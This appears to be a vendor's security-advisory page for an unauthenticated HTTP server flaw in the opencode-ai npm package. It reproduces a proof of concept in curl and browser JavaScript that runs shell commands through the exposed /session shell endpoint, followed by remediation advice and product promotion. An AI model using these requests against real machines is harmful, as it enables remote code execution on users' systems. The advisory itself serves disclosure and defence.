GHSA-vxw4-wv6m-9hhh is a high-severity (CVSS 8.8) Missing Authentication vulnerability in opencode-ai. O3 Security confirms whether GHSA-vxw4-wv6m-9hhh is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
opencode-ainpmDescription
Previously reported via email to [email protected] on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.
Summary
OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.
Details
When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:
POST /session/:id/shell- Execute shell commands (server.ts:1401)POST /pty- Create interactive terminal sessions (server.ts:267)GET /file/content?path=- Read arbitrary files (server.ts:1868)
The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().
No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: *), enabling browser-based exploitation.
PoC
Local exploitation:
API="http://127.0.0.1:4096" # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
-d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt # outputs: PWNED
Browser-based exploitation:
A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.
// Malicious website JavaScript
fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
})
.then(r => r.json())
.then(session => {
fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
});
});
Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.
Impact
Remote Code Execution via two vectors:
-
Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.
-
Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.
With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.
Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | opencode-ai | all versions | 1.0.216 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for opencode-ai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update opencode-ai to 1.0.216 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vxw4-wv6m-9hhh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vxw4-wv6m-9hhh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vxw4-wv6m-9hhh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vxw4-wv6m-9hhh in your dependencies?
O3 detects GHSA-vxw4-wv6m-9hhh across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.